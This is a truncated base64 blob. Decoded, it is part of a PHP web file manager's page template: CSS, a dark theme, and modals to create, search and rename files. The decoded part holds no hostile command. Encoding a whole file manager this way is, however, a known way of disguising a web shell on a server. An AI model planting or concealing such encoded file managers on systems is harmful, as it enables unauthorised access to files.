KICAgICAgICAgICAgICAgIGZyb20gewogICAgICAgICAgICAgICAgICAgIGJvdHRvbTogMDsKICAgICAgICAgICAgICAgICAgICBvcGFjaXR5OiAwOwogICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAgIHRvIHsKICAgICAgICAgICAgICAgICAgICBib3R0b206IDMwcHg7CiAgICAgICAgICAgICAgICAgICAgb3BhY2l0eTogMTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQoKICAgICAgICAgICAgQGtleWZyYW1lcyBmYWRlaW4gewogICAgICAgICAgICAgICAgZnJvbSB7CiAgICAgICAgICAgICAgICAgICAgYm90dG9tOiAwOwogICAgICAgICAgICAgICAgICAgIG9wYWNpdHk6IDA7CiAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAgICAgdG8gewogICAgICAgICAgICAgICAgICAgIGJvdHRvbTogMzBweDsKICAgICAgICAgICAgICAgICAgICBvcGFjaXR5OiAxOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CgogICAgICAgICAgICBALXdlYmtpdC1rZXlmcmFtZXMgZmFkZW91dCB7CiAgICAgICAgICAgICAgICBmcm9tIHsKICAgICAgICAgICAgICAgICAgICBib3R0b206IDMwcHg7CiAgICAgICAgICAgICAgICAgICAgb3BhY2l0eTogMTsKICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICB0byB7CiAgICAgICAgICAgICAgICAgICAgYm90dG9tOiAwOwogICAgICAgICAgICAgICAgICAgIG9wYWNpdHk6IDA7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIEBrZXlmcmFtZXMgZmFkZW91dCB7CiAgICAgICAgICAgICAgICBmcm9tIHsKICAgICAgICAgICAgICAgICAgICBib3R0b206IDMwcHg7CiAgICAgICAgICAgICAgICAgICAgb3BhY2l0eTogMTsKICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICB0byB7CiAgICAgICAgICAgICAgICAgICAgYm90dG9tOiAwOwogICAgICAgICAgICAgICAgICAgIG9wYWNpdHk6IDA7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgICNtYWluLXRhYmxlIHNwYW4uYmFkZ2UgewogICAgICAgICAgICAgICAgYm9yZGVyLWJvdHRvbTogMnB4IHNvbGlkICNmOGY5ZmEKICAgICAgICAgICAgfQoKICAgICAgICAgICAgI21haW4tdGFibGUgc3Bhbi5iYWRnZTpudGgtY2hpbGQoMSkgewogICAgICAgICAgICAgICAgYm9yZGVyLWNvbG9yOiAjZGY0MjI3CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgICNtYWluLXRhYmxlIHNwYW4uYmFkZ2U6bnRoLWNoaWxkKDIpIHsKICAgICAgICAgICAgICAgIGJvcmRlci1jb2xvcjogI2Y4YjYwMAogICAgICAgICAgICB9CgogICAgICAgICAgICAjbWFpbi10YWJsZSBzcGFuLmJhZGdlOm50aC1jaGlsZCgzKSB7CiAgICAgICAgICAgICAgICBib3JkZXItY29sb3I6ICMwMGJkNjAKICAgICAgICAgICAgfQoKICAgICAgICAgICAgI21haW4tdGFibGUgc3Bhbi5iYWRnZTpudGgtY2hpbGQoNCkgewogICAgICAgICAgICAgICAgYm9yZGVyLWNvbG9yOiAjNDU4MWZmCiAgICAgICAgICAgIH0KCiAgICAgICAgICAgICNtYWluLXRhYmxlIHNwYW4uYmFkZ2U6bnRoLWNoaWxkKDUpIHsKICAgICAgICAgICAgICAgIGJvcmRlci1jb2xvcjogI2FjNjhmYwogICAgICAgICAgICB9CgogICAgICAgICAgICAjbWFpbi10YWJsZSBzcGFuLmJhZGdlOm50aC1jaGlsZCg2KSB7CiAgICAgICAgICAgICAgICBib3JkZXItY29sb3I6ICM0NWMzZDIKICAgICAgICAgICAgfQoKICAgICAgICAgICAgQG1lZGlhIG9ubHkgc2NyZWVuIGFuZCAobWluLWRldmljZS13aWR0aDo3NjhweCkgYW5kIChtYXgtZGV2aWNlLXdpZHRoOjEwMjRweCkgYW5kIChvcmllbnRhdGlvbjpsYW5kc2NhcGUpIGFuZCAoLXdlYmtpdC1taW4tZGV2aWNlLXBpeGVsLXJhdGlvOjIpIHsKICAgICAgICAgICAgICAgIC5uYXZiYXItY29sbGFwc2UgLmNvbC14cy02IHsKICAgICAgICAgICAgICAgICAgICBwYWRkaW5nOiAwOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CgogICAgICAgICAgICAuYnRuLmFjdGl2ZS5mb2N1cywKICAgICAgICAgICAgLmJ0bi5hY3RpdmU6Zm9jdXMsCiAgICAgICAgICAgIC5idG4uZm9jdXMsCiAgICAgICAgICAgIC5idG4uZm9jdXM6YWN0aXZlLAogICAgICAgICAgICAuYnRuOmFjdGl2ZTpmb2N1cywKICAgICAgICAgICAgLmJ0bjpmb2N1cyB7CiAgICAgICAgICAgICAgICBvdXRsaW5lOiAwICFpbXBvcnRhbnQ7CiAgICAgICAgICAgICAgICBvdXRsaW5lLW9mZnNldDogMCAhaW1wb3J0YW50OwogICAgICAgICAgICAgICAgYmFja2dyb3VuZC1pbWFnZTogbm9uZSAhaW1wb3J0YW50OwogICAgICAgICAgICAgICAgLXdlYmtpdC1ib3gtc2hhZG93OiBub25lICFpbXBvcnRhbnQ7CiAgICAgICAgICAgICAgICBib3gtc2hhZG93OiBub25lICFpbXBvcnRhbnQKICAgICAgICAgICAgfQoKICAgICAgICAgICAgLmxkcy1mYWNlYm9vayB7CiAgICAgICAgICAgICAgICBkaXNwbGF5OiBub25lOwogICAgICAgICAgICAgICAgcG9zaXRpb246IHJlbGF0aXZlOwogICAgICAgICAgICAgICAgd2lkdGg6IDY0cHg7CiAgICAgICAgICAgICAgICBoZWlnaHQ6IDY0cHgKICAgICAgICAgICAgfQoKICAgICAgICAgICAgLmxkcy1mYWNlYm9vayBkaXYsCiAgICAgICAgICAgIC5sZHMtZmFjZWJvb2suc2hvdy1tZSB7CiAgICAgICAgICAgICAgICBkaXNwbGF5OiBpbmxpbmUtYmxvY2sKICAgICAgICAgICAgfQoKICAgICAgICAgICAgLmxkcy1mYWNlYm9vayBkaXYgewogICAgICAgICAgICAgICAgcG9zaXRpb246IGFic29sdXRlOwogICAgICAgICAgICAgICAgbGVmdDogNnB4OwogICAgICAgICAgICAgICAgd2lkdGg6IDEzcHg7CiAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kOiAjMDA3YmZmOwogICAgICAgICAgICAgICAgYW5pbWF0aW9uOiBsZHMtZmFjZWJvb2sgMS4ycyBjdWJpYy1iZXppZXIoMCwgLjUsIC41LCAxKSBpbmZpbml0ZQogICAgICAgICAgICB9CgogICAgICAgICAgICAubGRzLWZhY2Vib29rIGRpdjpudGgtY2hpbGQoMSkgewogICAgICAgICAgICAgICAgbGVmdDogNnB4OwogICAgICAgICAgICAgICAgYW5pbWF0aW9uLWRlbGF5OiAtLjI0cwogICAgICAgICAgICB9CgogICAgICAgICAgICAubGRzLWZhY2Vib29rIGRpdjpudGgtY2hpbGQoMikgewogICAgICAgICAgICAgICAgbGVmdDogMjZweDsKICAgICAgICAgICAgICAgIGFuaW1hdGlvbi1kZWxheTogLS4xMnMKICAgICAgICAgICAgfQoKICAgICAgICAgICAgLmxkcy1mYWNlYm9vayBkaXY6bnRoLWNoaWxkKDMpIHsKICAgICAgICAgICAgICAgIGxlZnQ6IDQ1cHg7CiAgICAgICAgICAgICAgICBhbmltYXRpb24tZGVsYXk6IDBzCiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIEBrZXlmcmFtZXMgbGRzLWZhY2Vib29rIHsKICAgICAgICAgICAgICAgIDAlIHsKICAgICAgICAgICAgICAgICAgICB0b3A6IDZweDsKICAgICAgICAgICAgICAgICAgICBoZWlnaHQ6IDUxcHgKICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICAxMDAlLAogICAgICAgICAgICAgICAgNTAlIHsKICAgICAgICAgICAgICAgICAgICB0b3A6IDE5cHg7CiAgICAgICAgICAgICAgICAgICAgaGVpZ2h0OiAyNnB4CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIHVsI3NlYXJjaC13cmFwcGVyIHsKICAgICAgICAgICAgICAgIHBhZGRpbmctbGVmdDogMDsKICAgICAgICAgICAgICAgIGJvcmRlcjogMXB4IHNvbGlkICNlY2VjZWNjYzsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgdWwjc2VhcmNoLXdyYXBwZXIgbGkgewogICAgICAgICAgICAgICAgbGlzdC1zdHlsZTogbm9uZTsKICAgICAgICAgICAgICAgIHBhZGRpbmc6IDVweDsKICAgICAgICAgICAgICAgIGJvcmRlci1ib3R0b206IDFweCBzb2xpZCAjZWNlY2VjY2M7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIHVsI3NlYXJjaC13cmFwcGVyIGxpOm50aC1jaGlsZChvZGQpIHsKICAgICAgICAgICAgICAgIGJhY2tncm91bmQ6ICNmOWY5ZjljYzsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgLmMtcHJldmlldy1pbWcgewogICAgICAgICAgICAgICAgbWF4LXdpZHRoOiAzMDBweDsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgLmJvcmRlci1yYWRpdXMtMCB7CiAgICAgICAgICAgICAgICBib3JkZXItcmFkaXVzOiAwOwogICAgICAgICAgICB9CgogICAgICAgICAgICAuZmxvYXQtcmlnaHQgewogICAgICAgICAgICAgICAgZmxvYXQ6IHJpZ2h0OwogICAgICAgICAgICB9CgogICAgICAgICAgICAudGFibGUtaG92ZXI+dGJvZHk+dHI6aG92ZXI+dGQ6Zmlyc3QtY2hpbGQgewogICAgICAgICAgICAgICAgYm9yZGVyLWxlZnQ6IDFweCBzb2xpZCAjMWI3N2ZkOwogICAgICAgICAgICB9CgogICAgICAgICAgICAjbWFpbi10YWJsZSB0ci5ldmVuIHsKICAgICAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICNGOEY5RmE7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIC5maWxlbmFtZT5hPmkgewogICAgICAgICAgICAgICAgbWFyZ2luLXJpZ2h0OiAzcHg7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIC5mcy03IHsKICAgICAgICAgICAgICAgIGZvbnQtc2l6ZTogMTRweDsKICAgICAgICAgICAgfQogICAgICAgIDwvc3R5bGU+CiAgICAgICAgPD9waHAKICAgICAgICBpZiAoRk1fVEhFTUUgPT0gImRhcmsiKTogPz4KICAgICAgICAgICAgPHN0eWxlPgogICAgICAgICAgICAgICAgOnJvb3QgewogICAgICAgICAgICAgICAgICAgIC0tYnMtYmctb3BhY2l0eTogMTsKICAgICAgICAgICAgICAgICAgICAtLWJnLWNvbG9yOiAjZjNkYWE2OwogICAgICAgICAgICAgICAgICAgIC0tYnMtZGFyay1yZ2I6IDI4LCAzNiwgNDEgIWltcG9ydGFudDsKICAgICAgICAgICAgICAgICAgICAtLWJzLWJnLW9wYWNpdHk6IDE7CiAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAgICAgYm9keS50aGVtZS1kYXJrIHsKICAgICAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLWltYWdlOiBsaW5lYXItZ3JhZGllbnQoOTBkZWcsICMxYzI0MjksICMyNjMyMzgpOwogICAgICAgICAgICAgICAgICAgIGNvbG9yOiAjQ0ZEOERDOwogICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAgIC5saXN0LWdyb3VwIC5saXN0LWdyb3VwLWl0ZW0gewogICAgICAgICAgICAgICAgICAgIGJhY2tncm91bmQ6ICMzNDNhNDA7CiAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAgICAgLnRoZW1lLWRhcmsgLm5hdmJhci1uYXYgaSwKICAgICAgICAgICAgICAgIC5uYXZiYXItbmF2IC5kcm9wZG93bi10b2dnbGUsCiAgICAgICAgICAgICAgICAuYnJlYWstd29yZCB7CiAgICAgICAgICAgICAgICAgICAgY29sb3I6ICNDRkQ4REM7CiAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAgICAgYSwKICAgICAgICAgICAgICAgIGE6aG92ZXIsCiAgICAgICAgICAgICAgICBhOnZpc2l0ZWQsCiAgICAgICAgICAgICAgICBhOmFjdGl2ZSwKICAgICAgICAgICAgICAgICNtYWluLXRhYmxlIC5maWxlbmFtZSBhLAogICAgICAgICAgICAgICAgaS5mYS5mYS1mb2xkZXItbywKICAgICAgICAgICAgICAgIGkuZ28tYmFjayB7CiAgICAgICAgICAgICAgICAgICAgY29sb3I6IHZhcigtLWJnLWNvbG9yKTsKICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICB1bCNzZWFyY2gtd3JhcHBlciBsaTpudGgtY2hpbGQob2RkKSB7CiAgICAgICAgICAgICAgICAgICAgYmFja2dyb3VuZDogIzIxMmEyZjsKICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICAudGhlbWUtZGFyayAuYnRuLW91dGxpbmUtcHJpbWFyeSB7CiAgICAgICAgICAgICAgICAgICAgY29sb3I6ICNiOGU1OWM7CiAgICAgICAgICAgICAgICAgICAgYm9yZGVyLWNvbG9yOiAjYjhlNTljOwogICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAgIC50aGVtZS1kYXJrIC5idG4tb3V0bGluZS1wcmltYXJ5OmhvdmVyLAogICAgICAgICAgICAgICAgLnRoZW1lLWRhcmsgLmJ0bi1vdXRsaW5lLXByaW1hcnk6YWN0aXZlIHsKICAgICAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjMmQ0MTIxOwogICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAgIC50aGVtZS1kYXJrIGlucHV0LmZvcm0tY29udHJvbCB7CiAgICAgICAgICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogIzEwMTUxODsKICAgICAgICAgICAgICAgICAgICBjb2xvcjogI0NGRDhEQzsKICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICAudGhlbWUtZGFyayAuZHJvcHpvbmUgewogICAgICAgICAgICAgICAgICAgIGJhY2tncm91bmQ6IHRyYW5zcGFyZW50OwogICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAgIC50aGVtZS1kYXJrIC5pbmxpbmUtYWN0aW9ucz5hPmkgewogICAgICAgICAgICAgICAgICAgIGJhY2tncm91bmQ6ICM3OTc1NWU7CiAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAgICAgLnRoZW1lLWRhcmsgLnRleHQtd2hpdGUgewogICAgICAgICAgICAgICAgICAgIGNvbG9yOiAjQ0ZEOERDICFpbXBvcnRhbnQ7CiAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAgICAgLnRoZW1lLWRhcmsgLnRhYmxlLWJvcmRlcmVkIHRkLAogICAgICAgICAgICAgICAgLnRhYmxlLWJvcmRlcmVkIHRoIHsKICAgICAgICAgICAgICAgICAgICBib3JkZXItY29sb3I6ICMzNDM0MzQ7CiAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAgICAgLnRoZW1lLWRhcmsgLnRhYmxlLWJvcmRlcmVkIHRkIC5jdXN0b20tY29udHJvbC1pbnB1dCwKICAgICAgICAgICAgICAgIC50aGVtZS1kYXJrIC50YWJsZS1ib3JkZXJlZCB0aCAuY3VzdG9tLWNvbnRyb2wtaW5wdXQgewogICAgICAgICAgICAgICAgICAgIG9wYWNpdHk6IDAuNjc4OwogICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAgIC5tZXNzYWdlIHsKICAgICAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjMjEyNTI5OwogICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAgIGZvcm0uZHJvcHpvbmUgewogICAgICAgICAgICAgICAgICAgIGJvcmRlci1jb2xvcjogIzc5NzU1ZTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgPC9zdHlsZT4KICAgICAgICA8P3BocCBlbmRpZjsgPz4KICAgIDwvaGVhZD4KCiAgICA8Ym9keSBjbGFzcz0iPD9waHAgZWNobyAoRk1fVEhFTUUgPT0gImRhcmsiKSA/ICd0aGVtZS1kYXJrJyA6ICcnOyA/PiA8P3BocCBlY2hvICRpc1N0aWNreU5hdkJhcjsgPz4iPgogICAgICAgIDxkaXYgaWQ9IndyYXBwZXIiIGNsYXNzPSJjb250YWluZXItZmx1aWQiPgogICAgICAgICAgICA8IS0tIE5ldyBJdGVtIGNyZWF0aW9uIC0tPgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbCBmYWRlIiBpZD0iY3JlYXRlTmV3SXRlbSIgdGFiaW5kZXg9Ii0xIiByb2xlPSJkaWFsb2ciIGRhdGEtYnMtYmFja2Ryb3A9InN0YXRpYyIgZGF0YS1icy1rZXlib2FyZD0iZmFsc2UiIGFyaWEtbGFiZWxsZWRieT0ibmV3SXRlbU1vZGFsTGFiZWwiIGFyaWEtaGlkZGVuPSJ0cnVlIiBkYXRhLWJzLXRoZW1lPSI8P3BocCBlY2hvIEZNX1RIRU1FOyA/PiI+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1kaWFsb2ciIHJvbGU9ImRvY3VtZW50Ij4KICAgICAgICAgICAgICAgICAgICA8Zm9ybSBjbGFzcz0ibW9kYWwtY29udGVudCIgbWV0aG9kPSJwb3N0Ij4KICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibW9kYWwtaGVhZGVyIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxoNSBjbGFzcz0ibW9kYWwtdGl0bGUiIGlkPSJuZXdJdGVtTW9kYWxMYWJlbCI+PGkgY2xhc3M9ImZhIGZhLXBsdXMtc3F1YXJlIGZhLWZ3Ij48L2k+PD9waHAgZWNobyBsbmcoJ0NyZWF0ZU5ld0l0ZW0nKSA/PjwvaDU+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9ImJ1dHRvbiIgY2xhc3M9ImJ0bi1jbG9zZSIgZGF0YS1icy1kaXNtaXNzPSJtb2RhbCIgYXJpYS1sYWJlbD0iQ2xvc2UiPjwvYnV0dG9uPgogICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibW9kYWwtYm9keSI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cD48bGFiZWwgZm9yPSJuZXdmaWxlIj48P3BocCBlY2hvIGxuZygnSXRlbVR5cGUnKSA/PiA8L2xhYmVsPjwvcD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZvcm0tY2hlY2sgZm9ybS1jaGVjay1pbmxpbmUiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCBjbGFzcz0iZm9ybS1jaGVjay1pbnB1dCIgdHlwZT0icmFkaW8iIG5hbWU9Im5ld2ZpbGUiIGlkPSJjdXN0b21SYWRpb0lubGluZTEiIG5hbWU9Im5ld2ZpbGUiIHZhbHVlPSJmaWxlIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8bGFiZWwgY2xhc3M9ImZvcm0tY2hlY2stbGFiZWwiIGZvcj0iY3VzdG9tUmFkaW9JbmxpbmUxIj48P3BocCBlY2hvIGxuZygnRmlsZScpID8+PC9sYWJlbD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZm9ybS1jaGVjayBmb3JtLWNoZWNrLWlubGluZSI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IGNsYXNzPSJmb3JtLWNoZWNrLWlucHV0IiB0eXBlPSJyYWRpbyIgbmFtZT0ibmV3ZmlsZSIgaWQ9ImN1c3RvbVJhZGlvSW5saW5lMiIgdmFsdWU9ImZvbGRlciIgY2hlY2tlZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8bGFiZWwgY2xhc3M9ImZvcm0tY2hlY2stbGFiZWwiIGZvcj0iY3VzdG9tUmFkaW9JbmxpbmUyIj48P3BocCBlY2hvIGxuZygnRm9sZGVyJykgPz48L2xhYmVsPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHAgY2xhc3M9Im10LTMiPjxsYWJlbCBmb3I9Im5ld2ZpbGVuYW1lIj48P3BocCBlY2hvIGxuZygnSXRlbU5hbWUnKSA/PiA8L2xhYmVsPjwvcD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJuZXdmaWxlbmFtZSIgaWQ9Im5ld2ZpbGVuYW1lIiB2YWx1ZT0iIiBjbGFzcz0iZm9ybS1jb250cm9sIiBwbGFjZWhvbGRlcj0iPD9waHAgZWNobyBsbmcoJ0VudGVyIGhlcmUuLi4nKSA/PiIgcmVxdWlyZWQ+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1mb290ZXIiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0idG9rZW4iIHZhbHVlPSI8P3BocCBlY2hvICRfU0VTU0lPTlsndG9rZW4nXTsgPz4iPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJidXR0b24iIGNsYXNzPSJidG4gYnRuLW91dGxpbmUtcHJpbWFyeSIgZGF0YS1icy1kaXNtaXNzPSJtb2RhbCI+PGkgY2xhc3M9ImZhIGZhLXRpbWVzLWNpcmNsZSI+PC9pPiA8P3BocCBlY2hvIGxuZygnQ2FuY2VsJykgPz48L2J1dHRvbj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1zdWNjZXNzIj48aSBjbGFzcz0iZmEgZmEtY2hlY2stY2lyY2xlIj48L2k+IDw/cGhwIGVjaG8gbG5nKCdDcmVhdGVOb3cnKSA/PjwvYnV0dG9uPgogICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICA8L2Zvcm0+CiAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgPC9kaXY+CgogICAgICAgICAgICA8IS0tIEFkdmFuY2UgU2VhcmNoIE1vZGFsIC0tPgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbCBmYWRlIiBpZD0ic2VhcmNoTW9kYWwiIHRhYmluZGV4PSItMSIgcm9sZT0iZGlhbG9nIiBhcmlhLWxhYmVsbGVkYnk9InNlYXJjaE1vZGFsTGFiZWwiIGFyaWEtaGlkZGVuPSJ0cnVlIiBkYXRhLWJzLXRoZW1lPSI8P3BocCBlY2hvIEZNX1RIRU1FOyA/PiI+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1kaWFsb2cgbW9kYWwtbGciIHJvbGU9ImRvY3VtZW50Ij4KICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1jb250ZW50Ij4KICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibW9kYWwtaGVhZGVyIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxoNSBjbGFzcz0ibW9kYWwtdGl0bGUgY29sLTEwIiBpZD0ic2VhcmNoTW9kYWxMYWJlbCI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iaW5wdXQtZ3JvdXAgbWItMyI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBjbGFzcz0iZm9ybS1jb250cm9sIiBwbGFjZWhvbGRlcj0iPD9waHAgZWNobyBsbmcoJ1NlYXJjaCcpID8+IDw/cGhwIGVjaG8gbG5nKCdhIGZpbGVzJykgPz4iIGFyaWEtbGFiZWw9Ijw/cGhwIGVjaG8gbG5nKCdTZWFyY2gnKSA/PiIgYXJpYS1kZXNjcmliZWRieT0ic2VhcmNoLWFkZG9uMyIgaWQ9ImFkdmFuY2VkLXNlYXJjaCIgYXV0b2ZvY3VzIHJlcXVpcmVkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz0iaW5wdXQtZ3JvdXAtdGV4dCIgaWQ9InNlYXJjaC1hZGRvbjMiPjxpIGNsYXNzPSJmYSBmYS1zZWFyY2giPjwvaT48L3NwYW4+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2g1PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJidXR0b24iIGNsYXNzPSJidG4tY2xvc2UiIGRhdGEtYnMtZGlzbWlzcz0ibW9kYWwiIGFyaWEtbGFiZWw9IkNsb3NlIj48L2J1dHRvbj4KICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsLWJvZHkiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibGRzLWZhY2Vib29rIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdj48L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdj48L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdj48L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dWwgaWQ9InNlYXJjaC13cmFwcGVyIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHAgY2xhc3M9Im0tMiI+PD9waHAgZWNobyBsbmcoJ1NlYXJjaCBmaWxlIGluIGZvbGRlciBhbmQgc3ViZm9sZGVycy4uLicpID8+PC9wPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdWw+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Zvcm0+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgIDwvZGl2PgoKICAgICAgICAgICAgPCEtLVJlbmFtZSBNb2RhbCAtLT4KICAgICAgICAgICAgPGRpdiBjbGFzcz0ibW9kYWwgbW9kYWwtYWxlcnQiIGRhdGEtYnMtYmFja2Ryb3A9InN0YXRpYyIgZGF0YS1icy1rZXlib2FyZD0iZmFsc2UiIHRhYmluZGV4PSItMSIgcm9sZT0iZGlhbG9nIiBpZD0icmVuYW1lRGFpbG9nIiBkYXRhLWJzLXRoZW1lPSI8P3BocCBlY2hvIEZNX1RIRU1FOyA/PiI+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1kaWFsb2ciIHJvbGU9ImRvY3VtZW50Ij4KICAgICAgICAgICAgICAgICAgICA8Zm9ybSBjbGFzcz0ibW9kYWwtY29udGVudCByb3VuZGVkLTMgc2hhZG93IiBtZXRob2Q9InBvc3QiIGF1dG9jb21wbGV0ZT0ib2ZmIj4KICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibW9kYWwtYm9keSBwLTQgdGV4dC1jZW50ZXIiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGg1IGNsYXNzPSJtYi0zIj48P3BocCBlY2hvIGxuZygnQXJlIHlvdSBzdXJlIHdhbnQgdG8gcmVuYW1lPycpID8+PC9oNT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwIGNsYXNzPSJtYi0xIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0icmVuYW1lX3RvIiBpZD0ianMtcmVuYW1lLXRvIiBjbGFzcz0iZm9ybS1jb250cm9sIiBwbGFjZWhvbGRlcj0iPD9waHAgZWNobyBsbmcoJ0VudGVyIG5ldyBmaWxlIG5hbWUnKSA/PiIgcmVxdWlyZWQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0idG9rZW4iIHZhbHVlPSI8P3BocCBlY2hvICRfU0VTU0lPTlsndG9rZW4nXTsgPz4iPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InJlbmFtZV9mcm9tIiBpZD0ianMtcmVuYW1lLWZyb20iPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9wPgogICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibW9kYWwtZm9vdGVyIGZsZXgtbm93cmFwIHAtMCI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9ImJ1dHR